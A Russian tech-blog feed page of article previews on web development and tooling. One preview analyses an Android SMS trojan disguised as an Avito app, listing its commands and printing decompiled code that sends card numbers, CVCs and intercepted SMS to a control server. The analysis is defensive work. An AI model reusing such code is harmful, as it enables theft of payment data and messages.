• Итоги пяти лет жизни электронщика в стиле фриланс. Последняя осень?

      В прошлой статье, посвящённой выбору комфортной среды обитания такому редкому в наших краях зверю, как фрилансеру электронщику, я обещал освятить основные вопросы своей деятельности — рассказать о том как искать клиентов, где они живут, и наконец, как с ними общаться. Не весь мой опыт положительный, за весьма удачным стартом последовал спад, но анализ ошибок порой бывает важнее, чем чтение истории успеха. Умные предпочитают учиться на чужих ошибках.

      image
      Последняя осень?

      Признаться, я долго колебался как поступить — иллюстрировать свои рекомендации и советы примерами из личного опыта, либо ограничиться их перечислением с короткими комментариями. Так и не сделав выбор, решил сразу написать две статьи и выложить их одну за другой, с разницей в день. Эта рассказывает о моём опыте на примерах, которые я сопровождаю комментариями. Если у вас мало времени и вам более интересны краткие содержательные выводы и конкретные рекомендации, просьба не тратить время на мой сегодняшний опус, а прочитать мою следующую статью, которую я специально публикую одновременно с этой.
      Конечно, можно было бы просто составить сухую выжимку из полезных рекомендаций, но, думаю, что легче они будут восприниматься, если будут подкреплены рассказом о моём личном личном опыте. Реальные события воспринимаются проще, чем на сухие строчки.
      В этом посте я попробовал в качестве эксперимента выровнять фотографии по ширине текста. Надеюсь, этот эксперимент не вызовет отторжения в хабрасообществе.
      Читать дальше →
    • Как я позорно деактивировал ботнет

        image

        Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
        Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

        Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

        Исследование APK


        Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

        Итак, что умеет этот троян:
        • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
        • sent&&& — отправка заданных СМС-сообщений с сервера
        • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
        • sms_stop&&& — отмена перехвата СМС-сообщений
        • ussd&&& — USSD-запрос
        • call_1&&& — установка и отмена безусловной переадресации

        Немного кода из моих заметок
        protected HttpRequestBase a()
            {
                try
                {
                    HttpPost httppost = new HttpPost(d());
                    ArrayList arraylist = new ArrayList();
                    arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
                    arraylist.add(new BasicNameValuePair("number", b));
                    arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
                    arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
                    arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
                    httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
                    return httppost;
                }
                catch(UnsupportedEncodingException unsupportedencodingexception)
                {
                    unsupportedencodingexception.printStackTrace();
                }
                return null;
            }
        
            protected String d()
            {
                return new String((new StringBuilder()).append(a).append("set_card.php").toString());
            }
        
        
        
        
        
        
            protected HttpRequestBase a()
            {
                try
                {
                    HttpPost httppost = new HttpPost(d());
                    ArrayList arraylist = new ArrayList();
                    arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
                    arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
                    httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
                    return httppost;
                }
                catch(UnsupportedEncodingException unsupportedencodingexception)
                {
                    unsupportedencodingexception.printStackTrace();
                }
                return null;
            }
        
            protected String d()
            {
                return new String((new StringBuilder()).append(a).append("get.php").toString());
            }
        
        
        
        
            protected HttpRequestBase a()
            {
                try
                {
                    JSONObject jsonobject = new JSONObject();
                    jsonobject.put("text", c);
                    jsonobject.put("number", d);
                    jsonobject.put("date", e);
                    HttpPost httppost = new HttpPost(d());
                    ArrayList arraylist = new ArrayList();
                    arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
                    arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
                    httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
                    return httppost;
                }
                catch(UnsupportedEncodingException unsupportedencodingexception)
                {
                    unsupportedencodingexception.printStackTrace();
                }
                catch(JSONException jsonexception)
                {
                    jsonexception.printStackTrace();
                }
                return null;
            }
        
            protected String d()
            {
                return new String((new StringBuilder()).append(a).append("load_sms.php").toString());
        


        Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
        Читать дальше →
      • Новости из мира Node: promise.io, copromise, Apper

        • Translation

        promise.io


        Promise.io представляет собой модуль для удаленного вызова процедур(RPC), использующий «обещания» (promises). С его помощью можно создать вот такой сервер:

        var server = new PromiseIO({
          someFunc: function(input) {
            return 'I got: ' + input;
          }
        });
        server.listen(3000);
        
        Далее
        • +18
        • 6.8k
        • 3
      • Шпаргалка для сравнения классов Twitter Bootstrap и Zurb Foundation

        • Translation


        Zurb Foundation — это крутой фронтэнд-фреймворк, являющийся достойной альтернативой бутстрапу, и стоит как минимум взглянуть на возможности Foundation, прежде чем отвергать его. Foundation имеет некоторые фичи, которых нет в Bootstrap.

        Эта короткая статья является по сути шпаргалкой, призванной помочь разработчикам начать работать с Foundation после работы с Bootstrap. Мы сравним основные классы для обоих фреймворков. По большей части, оба фреймворка имеют набор основных компонентов (сетка, кнопки, формы, таблицы), под катом представлена таблица сравнения классов для этих компонентов.
        Читать дальше →
      • Проблемы поиска утечки памяти в веб-приложении с помощью Chrome DevTools

        Браузер Google Chrome поставляется с превосходными инструментами для разработчика, они же есть в Яндекс.Браузере, новой Опере, и в других браузерах, основанных на базе Chromium.

        Среди них есть потрясающие инструменты для работы с памятью, ознакомиться с которыми можно в статье пользователя Panya«Как находить и устранять утечки памяти на примере Яндекс.Почты».

        Javascript хранит объект в памяти до тех пор, пока на него есть хоть одна ссылка. Как только вы удаляете все ссылки на объект, он уничтожается сборщиком мусора.

        Таким образом, чтобы удалить объект, нужно удалить все ссылки на него.

        Это кажется очень простым, но есть несколько достаточно неожиданных «мест» где могут храниться ссылки на объекты, тем самым задерживая их удаление, и создавая утечку памяти.
        Читать дальше →
        • +18
        • 18.3k
        • 4
      • Часы на кривых Безье



          Bézier Clock — часы на кривых Безье, где цифры плавно перетекают из одной формы в другую. Автор говорит, что это его первый проект на Processing.js, исходный код опубликован. Можно отредактировать его и изменить, например, скорость анимации.

          При выключенной анимации цифры трансформируются за 5 секунд до смены значения, а при включенной (пробелом) — в течение всего времени. Например, в 12:30:35 цифра «2» будет уже на полпути к превращению в «3». Направляющие скрываются кликом мыши.
        • Учимся готовить Log4j + Logstash + ElasticSearch + Kibana 3 + Auth (Google OAuth2/BasicAuth/CAS Authentication)


          Задача


          Настройка удобного средства для обработки и получения логов.

          Условия


          1. Лицензия MIT или Apache 2.0
          2. Возможность приема и обработки многострочных сообщений
          3. Простота в настройке и использовании
          4. Возможность работы с логами из Log4j


          Решение


          Logstash + ElasticSearch + Kibana 3.
          Читать дальше →
        • Странный глюк Git, чуть не стоивший 10 часов работы

            Я провел весь вчерашний день, напряженно работая, чтобы закрыть долгую и порядком надоевшую задачу. Было достаточно поздно, когда я закомитил изменения и отправил на пуш. Гит привычно ругнулся что не может, потому что есть свежие правки. Окей, pull, push. Теперь вроде нормально, можно идти спать.

            Проверю на тестовом сервере и потом пошлю ссылку коллегами, решил я напоследок. Тестовый показывал версию по состоянию на вчера. Странно, еще раз проверил, что правки ушли, в репозитории свежих изменений нет. По-быстрому проконсультировался с коллегой на предмет глюков тестового и решили отложить поиск проблемы на завтра.

            На следующий день я еще раз сделал деплой на тестовый сервер, но он упорно показывал старую версию. Решил свериться с логом Гита… мой коммит… ЕГО ПРОСТО НЕ БЫЛО! Его не было нигде, ни в локальной копии, ни в удаленной. Его не было даже в исходниках на диске. Файлы, оставленные открытыми в редакторе, были пусты. Единственный фактом, связывающим меня в тот момент с реальностью, был скомпилированный js-файл проекта, оставшийся после сборки исходников. Он работал именно так, как я оставил его вчера.
            Читать дальше →
          • Эффект неисправного монитора для текста, картинок и SVG

            • Translation
            • Tutorial
            Эффект Glitch Лукаса Беббера выглядит очень круто — как будто вы смотрите на текст на старом мониторе, который слишком часто роняли на пол и у него «плавает» вертикальная синхронизация и сведение.

            Реализация этого эффекта на CSS выглядит вполне убедительно. Мне пришлось немного поломать голову, чтобы выяснить, как он работает, и теперь я хочу объяснить это вам. Кроме того, я воспроизвёл этот эффект не только для текста, но и для растровых изображений и SVG, а так же написал несколько примесей Sass, чтобы облегчить работу с ним.


            Читать дальше →
          • Новости из мира Node: DataCollection.js, Supererror, Readability

            • Translation

            DataCollection.js


            DataCollection.js* — представляет собой библиотеку для выполнения запросов к источнику данных. Вы можете использовать ее как в браузере так и на стороне Node. Пример в документации использует массив объектов, над которым выполняются операции по отбору(фильтрации) используя представление ключ/значение, а так же используются некоторые около sql-ные операторы, такие как max и distinct.
            Далее
          • Букмарклет: разбор существенных моментов, часть вторая, подгружаемая

            • Tutorial
            Напомним, что букмарклет это небольшой javascript-код, сохраняемый в закладках браузера, и предназначенный для выполнения каких либо задач на текущей веб-странице.

            Как было отмечено в предыдущем посте букмарклет можно разделить на 3 взаимодействующие части:
            1. Первая часть, небольшой, до 2000 символов javascript-код, который сохраняется в закладках браузера и, в простейшем случае может выполнять всю работу, но обычно служит для инициации работы букмарклета.
            2. Вторая, подгружаемая часть букмарклета: javascript-код подгружаемый в текущий документ в процессе инициации букмарклета и обеспечивающий основную функциональность.
            3. Третья, резервная часть букмарклета которая срабатывает если подгрузить javascript в текущий документ не удалось.

            Первая часть букмарклета была досконально разобрана в предыдущем посте на живом примере букмарклета веб-сервиса TheOnlyPage (сервис хранения закладок, заметок и html-фрагментов)

            На этот раз остановимся на подгружаемой части букмарклета.

            Разнообразие возможных действий подгружаемой части букмарклета необъятно, поэтом рассмотрим только наиболее существенные моменты.
            Читать дальше →
          • Как мы используем API Giphy для тематических гифок в футбольном статус-боте

              Наш отдел аналитики в свободное время выращивает бота, который находит интересные закономерности в футбольных статистических данных и пишет про это статусы у нас на Sports.ru. Робота зовут FRED, получается у него примерно так:

              image
              Читать дальше →
              • +15
              • 5.7k
              • 5
            • Я нашёл ошибку в браузере!



                Наш коллега по браузерному фронту Пол Льюис aka @aerotwist из Google, видимо, порядком устал от неправильных багрепортов и опубликовал сегодня блок-схему, показывающую как это делать правильно. Я не удержался и решил перевести. С одной стороны, схема довольно очевидна для тех, кто хоть раз занимался тестированием, с другой — никогда не бывает лишним напомнить или показать схему тем, кто не в курсе.
                Под катом полная картинка и ссылки на трекеры
              • [Перевод] Cross-Storage: Сделайте локальные данные доступными между доменами

                • Translation
                image

                Как мы знаем localStorage API имеет некоторые ограничения, которые, возможно, придется обходить при написании крупных приложений. Новая библиотека cross-storage* дает возможность меж-доменной поддержки localStorage с использованием полномочий. Данная библиотека так же включает в себя Promise API для стандарта ES6.
                Далее
                • +12
                • 4.6k
                • 4
              • Как я создавал плагин постраничной прокрутки One Page Scroll с открытым исходным кодом

                • Translation
                Эффекты прокрутки используются в вебе уже давно, и хотя есть уже много плагинов, из которых можно выбрать, лишь малая их часть обладает таким малым весом и простотой, какие требуются для многих дизайнеров и разработчиков. Большинство виденных мною плагинов пытаются сделать слишком много, в результате чего их трудно включать в свои проекты.

                Не так давно Apple представила iPhone 5S, и сайт с презентацией, где страница была поделена на секции, и каждая секция описывала одну из особенностей продукта. Я подумал, что это – замечательный способ представления продукта, исключающий возможность пропустить ключевую информацию.

                Я отправился на поиски подходящего плагина, и к удивлению, не обнаружил такового. Так и родился плагин постраничной прокрутки.
                Читать дальше →
              • Деплой php+MySQL на heroku

                Всем доброго времени суток. Хочу поделиться с вами своим опытом развертывания php+mysql приложения на сервисе heroku. Если вы первый раз о таком слышите, вам сюда.

                Поехали


                Итак, представим, что у нас есть уже готовое php+mysql приложение. Для начала регистрируемся здесь. На почту придет письмо с подтверждением регистрации. Далее переходим по ссылке, вводим пароль и подтверждение, жмем save. Первый этап пройден, идем дальше.
                Читать дальше →
                • –1
                • 14.3k
                • 7
              • 30 полезных сервисов для веб-разработчиков и дизайнеров v2

                  Предыстория: я веду свой паблик ВК о веб-разработке, в связи с чем я каждый день имею дело с большим количеством материалов о веб-разработке. Однажды (3 месяца назад) мне пришла в голову идея опубликовать на хабре подборку «30 полезных сервисов для веб-разработчика». Тот пост набрал почти 100 000 просмотров, и мне приятно, что он оказался полезен сообществу. С тех пор у меня поднакопилось больше 30 новых сервисов, которые будут полезны как разработчикам, так и дизайнерам. Лучшие из них я собрал в этом посте. Осторожно, под катом много картинок!
                  Читать дальше →
                • RabbitMQ tutorial 6 — Удаленный вызов процедур

                  • Translation
                  • Tutorial
                  В продолжение пятого урока по изучению азов RabbitMQ, публикую перевод шестого урока с официального сайта. Все примеры написаны на python (используется pika версии 0.9.8), но по-прежнему их можно реализовать на большинстве популярных ЯП.

                  Во втором уроке мы рассмотрели использование очередей задач для распределения ресурсоёмких задач между несколькими подписчиками.

                  Но что если мы захотим запустить функцию на удаленной машине и дождаться результата? Ну, это совсем другая история. Этот шаблон широко известен как Удаленный Вызов Процедур (Remote Procedure Call или RPC, далее в тексте RPC).

                  В этом руководстве мы построим, используя RabbitMQ, RPC систему, которая будет включать клиент и масштабируемый RPC сервер. Так как у нас нет реальной трудоемкой задачи требующей распределения, мы создадим простой RPC сервер, возвращающий числа Фибоначчи.
                  Читать дальше →
                  • +15
                  • 38.5k
                  • 7
                • Визуализация npm

                    Привет, друзья!

                    Я просто хотел поделиться с вами своей визуализацией зависимостей пакетов на npm'e. Выглядит это так:

                    npm visualization

                    Вы ему говорите имя пакета, он вам в ответ весь граф зависимостей. Затем можно проанализировать кто поддерживает пакеты и какие есть лицензии в графе.

                    Все исходники доступны здесь: github.com/anvaka/npmgraph.an
                    Рабочая версия сайта здесь: npm.anvaka.com/#

                    Увы, Internet Explorer пока не поддерживается, но планирую отловить своих насекомых и починить его в ближайшем будущем.

                    Надеюсь, кому-нибудь пригодится. Буду рад любым пожеланиям!

                    P.S: Забавы ради я также сделал визуализацию в 3D, но пока от нее мало толку (кроме забавы).